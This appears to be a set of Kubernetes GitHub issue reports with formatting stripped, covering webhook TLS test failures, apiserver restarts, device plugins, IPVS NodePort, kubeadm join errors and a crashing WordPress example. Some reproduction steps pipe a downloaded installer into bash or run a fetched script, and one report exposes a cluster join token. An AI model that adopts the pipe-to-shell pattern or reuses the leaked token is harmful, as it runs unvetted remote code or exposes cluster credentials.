shutdown.\r \r taking this one step further, what we'd really want here is a new way of specifying taints and then waiting for them to take effect.  for example, there could be several reasons why pod networking could be down and might be set by multiple controllers internal or external.\r \r so you could for example have an internal controller that might apply a taint:\r    \r    taintname: podnetworking\r    reasons: k8s.io/nodescheduler/cninotready\r \r and another external controller could specify the same taint and add a new reason to it:\r \r    taintname: podnetworking\r    reason: example.com/daemonsetnotrunning\r \r as long as _any_ podnetworking taint was present  note the taints would have to be extended accept multiple \ reasons\  for the same taint from different source, and only clear the taint when all the reasons for it are removed , then the scheduler could evict the pods that use pod networking from the node.\r \r the daemonset controller can then be smart enough to wait until there are no unsatisfied node taints before allowing the upgrade to proceed.\r \r this would allow cleanly updating critical infrastructure daemonsets\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r >  \r   what happened  :\r \r when running k8s unit tests, testamit test case emitted an error as follows:\r \r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54246: remote error: tls: bad certificate\r e1017 10:38:30.860166  110747 admission.go:199  failed calling admission webhook \ disallow\ : post https://127.0.0.1:35435/disallow: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r e1017 10:38:30.862514  110747 admission.go:199  failed calling admission webhook \ disallowreason\ : post https://127.0.0.1:35435/disallowreason: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54248: remote error: tls: bad certificate\r e1017 10:38:30.866700  110747 admission.go:199  failed calling admission webhook \ internalerr a\ : post https://127.0.0.1:35435/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54252: remote error: tls: bad certificate\r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54254: remote error: tls: bad certificate\r e1017 10:38:30.868555  110747 admission.go:199  failed calling admission webhook \ internalerr b\ : post https://127.0.0.1:35435/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54250: remote error: tls: bad certificate\r e1017 10:38:30.868789  110747 admission.go:199  failed calling admission webhook \ internalerr c\ : post https://127.0.0.1:35435/internalerr: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r 2017/10/17 10:38:30 http: tls handshake error from 127.0.0.1:54256: remote error: tls: bad certificate\r e1017 10:38:30.871811  110747 admission.go:199  failed calling admission webhook \ allow\ : post https://127.0.0.1:35435/allow: x509: certificate is not valid for any names, but wanted to match webhook-test.default.svc\r --- fail: testadmit  0.02s \r \tadmission_test.go:221: \ match & disallow\ : expected allowed=false, but got err=<nil>\r \tadmission_test.go:226: \ match & disallow\ : expected an error saying \ without explanation\ , but got <nil>\r \tadmission_test.go:221: \ match & disallow ii\ : expected allowed=false, but got err=<nil>\r \tadmission_test.go:226: \ match & disallow ii\ : expected an error saying \ you shall not pass\ , but got <nil>\r fail\r fail\tk8s.io/kubernetes/plugin/pkg/admission/webhook\t0.555s\r \r notice that, i used gvm to switch golang versions. the test cases actually passed with go1.8.3 but not go1.9.1.\r \r   what you expected to happen  :\r \r testamit should pass when we bump up golang version in the future k8s releases.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just run \ make test\ \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r master branch\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r sometimes use vi edit /etc/kubernetes/manifests/kube-apiserver.yaml, apiserver will be kill, but not restart again; but sometimes is ok, kube-apiserver will restart. test 10 times, and 2 times problem found \r but if i move this file out of /etc/kubernetes/manifests/, wait for moment, and then move back, apiserver restart, problem fix.\r \r   what you expected to happen  :\r edit /etc/kubernetes/manifests/kube-apiserver.yaml, apiserver auto-update\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start a k8s cluster. \r 2. edit kube-apiserver.yaml by vi editor. \r 3. check apiserver status.\r \r   anything else we need to know?  :\r any thing you want to know, please ping me.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:39:33z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.3\ , gitcommit:\ f0efb3cb883751c5ffdbe6d515f3cb4fbe7b7acd\ , gittreestate:\ clean\ , builddate:\ 2017-11-08t18:27:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:none\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r name=\ ubuntu\ \r version=\ 16.04.1 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.1 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux m-usingle-192-168-4-106 4.4.0-97-generic  120-ubuntu smp tue sep 19 17:28:18 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubeadm\r - others:none\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r diskuri is harded as following:\r    \r diskurisupportedblob :=   string{\ https://{account-name}.blob.core.windows.net/{container-name}/{disk-name}.vhd\ }\r    \r \r for detailed steps, you could refer to following link under static provisioning\r https://github.com/andyzhangx/demo/tree/master/linux/azuredisk\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r  /assign

 \r track unhealthy devices in device plugin, and have node status capacity to reflect raw capacity but allocatable to reflect healthy device capacity\r \r current behavior is that only node allocatable and capacity is updated only with healthy devices.\r \r \r  \r /assign

  /area hw-accelerators\r \r   what happened  :\r in  /pkg/kubelet/cm/deviceplugin/manager.go  devices are allocated from a function called  allocatecontainerresources . this function inspects only container resource limits, ignoring container resource requests. this is a usability problem because it is valid to omit limits for extended resources. if limit is omitted for a device resource, then the scheduler properly places the pod with respect to available node resources. however, the device manager never dispatches to the device plugin for that resource. the result is that the user application cannot access the requested device from inside the container.\r \r   what you expected to happen  :\r following the documented behavior of extended resources, i expected that specifying a container resource request for a device would cause the device subsystem to properly configure access for my workload.\r \r   how to reproduce it  as minimally and precisely as possible   :\r   launch an alpha gke cluster with gpu support enabled.\r   attempt to run any program that accesses the gpu from a container where the resource is specified in requests but omitted from limits.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.8+\r - cloud provider or hardware configuration: device plugins enabled, devices available.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r \r  \r >  \r \r   what happened  :\r deploy an application as following:\r    \r apiversion: v1\r kind: service\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   ports:\r   - name: nginx\r     port: 80\r     protocol: tcp\r     targetport: 80\r   selector:\r     run: my-nginx\r   type: nodeport\r ---\r apiversion: extensions/v1beta1\r kind: deployment\r metadata:\r   labels:\r     run: my-nginx\r   name: my-nginx\r   namespace: default\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       run: my-nginx\r   template:\r     metadata:\r       labels:\r         run: my-nginx\r     spec:\r       containers:\r       - image: nginx:1.8.1\r         imagepullpolicy: ifnotpresent\r         name: my-nginx\r         ports:\r         - containerport: 80\r           protocol: tcp\r    \r \r after application deployed:\r    \r  root@ib17b08 cases   kubectl get svc\r name         type        cluster-ip   external-ip   port s         age\r kubernetes   clusterip   10.0.0.1     <none>        443/tcp        1h\r my-nginx     nodeport    10.0.0.13    <none>        80:30731/tcp   19m\r    \r \r clusterip works fine\r    \r  root@ib17b08 cases   curl 10.0.0.13\r <!doctype html>\r <html>\r <head>\r <title>welcome to nginx!</title>\r <style>\r     body {\r         width: 35em;\r         margin: 0 auto;\r         font-family: tahoma, verdana, arial, sans-serif;\r     }\r </style>\r </head>\r <body>\r <h1>welcome to nginx!</h1>\r <p>if you see this page, the nginx web server is successfully installed and\r working. further configuration is required.</p>\r \r <p>for online documentation and support please refer to\r <a href=\ http://nginx.org/\ >nginx.org</a>.<br/>\r commercial support is available at\r <a href=\ http://nginx.com/\ >nginx.com</a>.</p>\r \r <p><em>thank you for using nginx.</em></p>\r </body>\r </html>\r    \r nodeport does not work\r    \r  root@ib17b08 cases   curl 9.21.53.18:30731\r ^c\r    \r \r /cc @m1093782566 \r  /area ipvs\r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r >  >  \r \r   what happened  :\r tried to join node to kube.\r \r   what you expected to happen  :\r join cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubeadm join 172.17.15.14:6443 --token n31b8f.yquu66k6az5ktlo7 --discovery-token-ca-cert-hash sha256:9ee1d6eed7eba52cf3f425b2d0757fcf10148b5261...........\r \r   anything else we need to know?  :\r  discovery  trying to connect to api server \ 172.17.15.14:6443\ \r  discovery  created cluster-info discovery client, requesting info from \ https://172.17.15.14:6443\ \r  discovery  requesting info from \ https://172.17.15.14:6443\  again to validate tls against the pinned public key\r  discovery  cluster info signature and contents are valid and tls certificate validates against pinned roots, will use api server \ 172.17.15.14:6443\ \r  discovery  successfully established connection with api server \ 172.17.15.14:6443\ \r  kubelet  downloading configuration for the kubelet from the \ kubelet-config-1.12\  configmap in the kube-system namespace\r configmaps \ kubelet-config-1.12\  is forbidden: user \ system:bootstrap:n31b8f\  cannot get configmaps in the namespace \ kube-system\ \r \r \r   environment  :\r bare metal\r \r - kubernetes version  use  kubectl version  :\r 1.12\r \r - cloud provider or hardware configuration:\r na\r \r - os  e.g. from /etc/os-release :\r rhel 7.5\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r initcontainers does not accept imagepullsecrets.   no way to configure a secret so initcontainers can connect to a private repository.\r \r   what you expected to happen  :\r adding an imagepullsecrets under spec should work for both container and initcontainers\r \r   how to reproduce it  as minimally and precisely as possible   :\r have a template with both container and initcontainer.  define a imagepullsecret under spec.  use a private repository where you authenticate with secret.\r \r you will get imagepullbackoff and cannot connect to repository for your images that need to be pulled from your init containers.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.11\r - cloud provider or hardware configuration: docker ee with kubernetes, dtr  docker trusted registry \r - os  e.g. from /etc/os-release : alpine\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

what happened  :\r installed kubernetes 1.13.2\r   what you expected to happen  :\r  kubectl top <pod/node>  provides metrics\r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl top node \r or\r  kubectl top pod \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: baremetal \r - os  e.g:  cat /etc/os-release  :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r    \r - kernel  e.g.  uname -a  :\r    \r linux node1 4.15.0-45-generic  48-ubuntu smp tue jan 29 16:28:13 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: kubespray\r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r gce-scale-performance\r \r   which test s  are failing  :\r density test\r \r   since when has it been failing  :\r run 1120236390706057221. 2019-04-22 10:02 cest\r \r   testgrid link  :\r https://testgrid.k8s.io/sig-scalability-gce gce-scale-performance\r \r   reason for failure  :\r podstartuplatency error: pod startup: too high latency 50th percentile: 5.589886258s.\r the 99th percentile is expected to be below 5s.\r \r   anything else we need to know  :\r this issue addresses a density test regression. however it focuses on regression from 1120236390706057221 run.\r the regression introduced in previous runs is described in https://github.com/kubernetes/kubernetes/issues/77080

lifecycle hook doesn't work   command specifed in pod.yaml is not being executed  when  container_runtime=rkt  flag is specified in  kubelet . in  kubelet  logs there is no information about failing of poststart action, even with  --v=10  flag.       rkt version 0.8.0 appc version 0.6.1          $  kubelet --version=true kubernetes v1.1.0-alpha.1.304+cbce3a1ab8779a-dirty          $  cat /etc/lsb-release distrib_id=coreos distrib_release=794.0.0 distrib_codename=\ red dog\  distrib_description=\ coreos 794.0.0\

self explanatory. @maltej mentioned ipv6 in  188, and multiple partners have mentioned ipv6 as an attractive solution for the k8s networking model, which allocates ip addresses fairly freely, for both pods and  with ip-per-service  services.

we would like to support kube-up working with vmware's photon controller. photon controller is a cloud management platform that allows users to manage virtual machines and related resources. information about photon controller is available from:  http://vmware.github.io/photon-controller/  we are aware of the efforts to evolve kube-up, perhaps vie the new kube-deploy. we'll support that effort as it evolves, but we are interested in support kube-up now and it will likely exist for some time.   we will provide an initial pull request for this work in the near future. the first pull request will cover all of the basic functionality, but kube-push and some of the testing functions will not yet be supported. we'll continue development, and those will come in the near future.   internally, we are doing continuous integration testing, and--assuming this work is accepted--we'll be doing multiple tests per day against the master branch  and future release branches  so we can quickly fix problems as they occur. we understand that there may be some work to develop federated testing. we don't know much about it yet, but we're happy to learn more and considering being part of it.   i'm happy to discuss this here on github, but it's also fine to contact me directly if you have any questions. i want to make sure we do this correctly and am happy to work with you.

similar to  kubectl logs . note that we already support attach on various types, exposing it only in  kubectl run --attach . see https://github.com/kubernetes/kubernetes/blob/6b1e59e8c87f75772aad219ad47ccfe5377e8f30/pkg/kubectl/cmd/util/factory.go l651-l684   also that helper needs to support replica sets.  @kubernetes/kubectl

when using go 1.7,  pkg/util/net/http_test.go  is failing with the following error:      --- fail: testclonetlsconfig  0.00s          http_test.go:72: new fields seen in http.transport:  dynamicrecordsizingdisabled renegotiation                  add to copyclienttlsconfig if client-relevant, then add to expected list in testcopyclienttlsconfig fail fail    k8s.io/kubernetes/pkg/util/net  0.007s

kubernetes version    use  kubectl version  :      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.4\ , gitcommit:\ 3eed1e3be6848b877ff80a93da3785d9034d0a4f\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ }         environment  :      vagrant running: fedora release 23  twenty three  name=fedora version=\ 23  twenty three \  id=fedora version_id=23 pretty_name=\ fedora 23  twenty three \  ansi_color=\ 0;34\  cpe_name=\ cpe:/o:fedoraproject:fedora:23\  home_url=\ https://fedoraproject.org/\  bug_report_url=\ https://bugzilla.redhat.com/\  redhat_bugzilla_product=\ fedora\  redhat_bugzilla_product_version=23 redhat_support_product=\ fedora\  redhat_support_product_version=23 privacy_policy_url=https://fedoraproject.org/wiki/legal:privacypolicy fedora release 23  twenty three  fedora release 23  twenty three   linux kubernetes-node-1 4.2.3-300.fc23.x86_64  1 smp mon oct 5 15:42:54 utc 2015 x86_64 x86_64 x86_64 gnu/linux  and running kubectl on my mac osx i have:  $ uname -a darwin macbook-pro.local 16.1.0 darwin kernel version 16.1.0: thu oct 13 21:26:57 pdt 2016; root:xnu-3789.21.3~60/release_x86_64 x86_64         what happened  : running the examples from  mysql-wordpress-pd  https://github.com/kubernetes/kubernetes/tree/master/examples/mysql-wordpress-pd/   gives the following error when trying to deploy and start the wordpress pod.  note that i've also tried several different releases of the wordpress image and also ran them successfully on my mac with \ docker run\  manually  however i was not able to get them running manually on the vagrant box  fedora  as there seem to be issues with the fs and mounts etc ..   might be something with the fedora boxes that are used        $ kubectl get cs name                 status    message              error controller-manager   healthy   ok scheduler            healthy   ok etcd-0               healthy   {\ health\ : \ true\ } etcd-1               healthy   {\ health\ : \ true\ }  $ kubectl get nodes name                status    age kubernetes-node-1   ready     13h kubernetes-node-2   ready     13h kubernetes-node-3   ready     13h kubernetes-node-4   ready     13h  $ kubectl get deployment,pod,svc,endpoints,pvc -l app=wordpress -o wide name                               desired           current            up-to-date   available   age wordpress                          1                 1                  1            0           6m wordpress-mysql                    1                 1                  1            1           1h name                               ready             status             restarts     age         node wordpress-2550998388-inssp         0/1               crashloopbackoff   6            6m          kubernetes-node-3 wordpress-mysql-2379610080-w6obb   1/1               running            0            1h          kubernetes-node-4 name                               cluster-ip        external-ip        port s       age         selector wordpress                          10.247.146.13                        80/tcp       6m          app=wordpress,tier=frontend wordpress-mysql                    none              <none>             3306/tcp     1h          app=wordpress,tier=mysql name                               endpoints         age wordpress                                            6m wordpress-mysql                    10.246.2.2:3306   1h name                               status            volume       capacity   accessmodes   age mysql-pv-claim                     bound             local-pv-2   20gi       rwo           1h wp-pv-claim                        bound             local-pv-1   20gi       rwo           1h           $ kubectl logs wordpress-2550998388-inssp sed: -e expression  1, char 66: unterminated  s' command          $ kubectl describe pod wordpress-2550998388-inssp name:       wordpress-2550998388-inssp namespace:  default node:       kubernetes-node-3/10.245.1.5 start time: sun, 30 oct 2016 11:56:00 +0100 labels:     app=wordpress,pod-template-hash=2550998388,tier=frontend status:     running ip:     10.246.43.2 controllers:    replicaset/wordpress-2550998388 containers:   wordpress:     container id:   docker://78fec720b14d9461c7f307296db8dc19ee3180bbe2b96b2ff29f0835d1679e3b     image:      wordpress:4.6-apache     image id:       docker://sha256:368db5c51bcd5821a9503b7d8349af948eaee516602969fe50915fd19f511cc0     port:       80/tcp     qos tier:       memory:   besteffort       cpu:  burstable     requests:       cpu:      100m     state:      waiting       reason:       crashloopbackoff     last state:     terminated       reason:       error       exit code:    1       started:      sun, 30 oct 2016 12:02:01 +0100       finished:     sun, 30 oct 2016 12:02:01 +0100     ready:      false     restart count:  6     environment variables:       wordpress_db_host:    wordpress-mysql       wordpress_db_password: conditions:   type      status   initialized   true   ready     false   podscheduled  true volumes:   wordpress-persistent-storage:     type:   persistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace      claimname:  wp-pv-claim     readonly:   false   default-token-b3llp:     type:   secret  a volume populated by a secret      secretname: default-token-b3llp events:   firstseen lastseen    count   from                subobjectpath           type        reason      message   --------- --------    -----   ----                -------------           --------    ------      -------   8m        8m      1   {default-scheduler }                        normal      scheduled   successfully assigned wordpress-2550998388-inssp to kubernetes-node-3   8m        8m      1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal      created     created container with docker id df13975bf5e0; security: seccomp=unconfined    8m        8m      1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal      started     started container with docker id df13975bf5e0   8m        8m      1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal      created     created container with docker id 66dda090cfc9; security: seccomp=unconfined    8m        8m      1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal      started     started container with docker id 66dda090cfc9   8m        8m      2   {kubelet kubernetes-node-3}                 warning     failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 10s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     8m    8m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  started     started container with docker id ae51ad4e8d51   8m    8m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  created     created container with docker id ae51ad4e8d51; security: seccomp=unconfined    8m    8m  2   {kubelet kubernetes-node-3}                 warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 20s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     8m    8m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  created     created container with docker id 58565e5081ae; security: seccomp=unconfined    8m    8m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  started     started container with docker id 58565e5081ae   8m    7m  3   {kubelet kubernetes-node-3}                 warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 40s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     7m    7m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  created     created container with docker id f9fb89abb8c6; security: seccomp=unconfined    7m    7m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  started     started container with docker id f9fb89abb8c6   7m    6m  7   {kubelet kubernetes-node-3}                 warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 1m20s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     5m    5m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  started     started container with docker id 1396fbb8d3c4   5m    5m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  created     created container with docker id 1396fbb8d3c4; security: seccomp=unconfined    5m    3m  13  {kubelet kubernetes-node-3}                 warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 2m40s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     8m    2m  7   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  pulled      container image \ wordpress:4.6-apache\  already present on machine   2m    2m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  created     created container with docker id 78fec720b14d; security: seccomp=unconfined    2m    2m  1   {kubelet kubernetes-node-3} spec.containers{wordpress}  normal  started     started container with docker id 78fec720b14d   2m    13s 13  {kubelet kubernetes-node-3}                 warning failedsync  error syncing pod, skipping: failed to \ startcontainer\  for \ wordpress\  with crashloopbackoff: \ back-off 5m0s restarting failed container=wordpress pod=wordpress-2550998388-inssp_default 71e5c6f7-9e8f-11e6-9df4-0800277ad4a8 \     8m    13s 40  {kubelet kubernetes-node-3} spec.containers{wordpress}  warning backoff back-off restarting failed docker container          what you expected to happen  :  i expect the wordpress container to start normally    how to reproduce it    as minimally and precisely as possible : on mac :       export kubernetes_provider=vagrant;  export vagrant_default_provider=virtualbox; export num_nodes=4;  curl -ss https://get.k8s.io | bash      start up the vagrant environment.   from your mac follow the instructions using kubectl and creating the mysql and wordpress pods.      export kube_repo=https://raw.githubusercontent.com/kubernetes/kubernetes/master wget $kube_repo/examples/mysql-wordpress-pd/local-volumes.yaml wget $kube_repo/examples/mysql-wordpress-pd/mysql-deployment.yaml wget $kube_repo/examples/mysql-wordpress-pd/wordpress-deployment.yaml    create the secrets and then create the pv,services,deployments,pods for mysql and wordpress  kubectl create -f local-volumes.yaml kubectl create -f mysql-deployment.yaml kubectl create -f wordpress-deployment.yaml  and so on...          anything else do we need to know  : is it a issue with the vagrant box being used or with the entrypoint scripts for the 4.4.1 release of wordpress ?       $ kubectl logs wordpress-2550998388-inssp sed: -e expression  1, char 66: unterminated  s' command                 version 4.4.1 decided to switch to windows line endings, that breaks our seds and awks     sed -ri 's/\\r\ |\\r/\ /g' wp-config      sed_escape_lhs   {         echo \ $@\  | sed 's/  \\/$ .^|  /\\\\&/g'     sed_escape_rhs   {         echo \ $@\  | sed 's/ \\/& /\\\\&/g'         start=\   '\\\   $ sed_escape_lhs \ $key\  \\2\\s ,\              start=\ ^ \\s  $ sed_escape_lhs \ $key\  \\s =\          sed -ri \ s/ $start\\s  .  $end $/\\1$ sed_escape_rhs \ $ php_escape \ $value\  \ $var_type\  \  \\3/\  wp-config.php             current_set=\ $ sed -rn \ s/define\\    \\'\\\   $unique\\2\\s ,\\s    '\\\    .  \\3\\ ;/\\4/p\  wp-config.php \     changing the wordpress image to wordpress:4-apache tag instead   gives me a different error this time indicating other issues.  $ kubectl get pods name                               ready     status             restarts   age wordpress-2900305168-qyyec         0/1       crashloopbackoff   1          28s wordpress-mysql-2379610080-w6obb   1/1       running            0          3h  $ kubectl  logs wordpress-2900305168-qyyec timestamp: 2016-10-30 12:12:31.009808044 +0000 utc code: system error  message: mkdir /var/lib/docker/overlay/bfc583cf6ea0f29883954ae8a9aaf6d5bfb0186757007d9165901bd4b96009da/merged/run/secrets: cannot allocate memory  frames:  --- 0: setuprootfs package: github.com/opencontainers/runc/libcontainer file: rootfs_linux.go@41  --- 1: init

there's a problem with running kubelet in containers  k8s version v1.6.0-rc.1 . i'm trying to start a cluster using  kubeadm-dind-cluster  https://github.com/mirantis/kubeadm-dind-cluster  and kubelet fails to start any containers.  kubeadm-dind-cluster  creates a cluster where the nodes are represented by containers. the problem occurs when using mac docker of the following version:\r \r    \r version 17.03.0-ce-mac2  15657 \r channel: beta\r 32de842512\r \r kernel version: 4.9.12-moby\r    \r \r there's the following diagnostics in kubelet log:\r    \r mar 27 08:13:20 kube-master hyperkube 571 : i0327 08:13:20.817136     571 kubelet.go:1158  container garbage collection succeeded\r mar 27 08:13:20 kube-master hyperkube 571 : e0327 08:13:20.823647     571 kubelet.go:1246  failed to start containermanager failed to initialise top level qos containers: root container /kubepods doesn't exist\r    \r \r  kubeadm-dind-cluster  works on ubuntu 16.04.2  kernel 4.4.0-57-generic \r on fedora 25 with kernel 4.8.6-300.fc25.x86_64 there are some problems with dind script + k8s 1.6, but this \ /kubepods\  problem doesn't occur either.\r \r @errordeveloper has similar problems with  kxd  https://github.com/errordeveloper/kxd  which doesn't use dind, he will provide more details in the comments shortly.\r \r i suspected that  41234 was the culprit but turns out that kubelet starts just fine when i check out 9b4a8f746449aabc1b9083d7987fec55a89464f2\r \r currently bisecting.\r \r in order to reproduce it on mac:\r    \r wget https://cdn.rawgit.com/mirantis/kubeadm-dind-cluster/master/fixed/dind-cluster-v1.6.sh\r chmod +x dind-cluster-v1.6.sh\r ./dind-cluster-v1.6.sh up\r    \r \r after  kubeadm init  hangs, enter  kube-master  container and inspect kubelet log:\r    \r journalctl -xe -u kubelet.service\r    \r

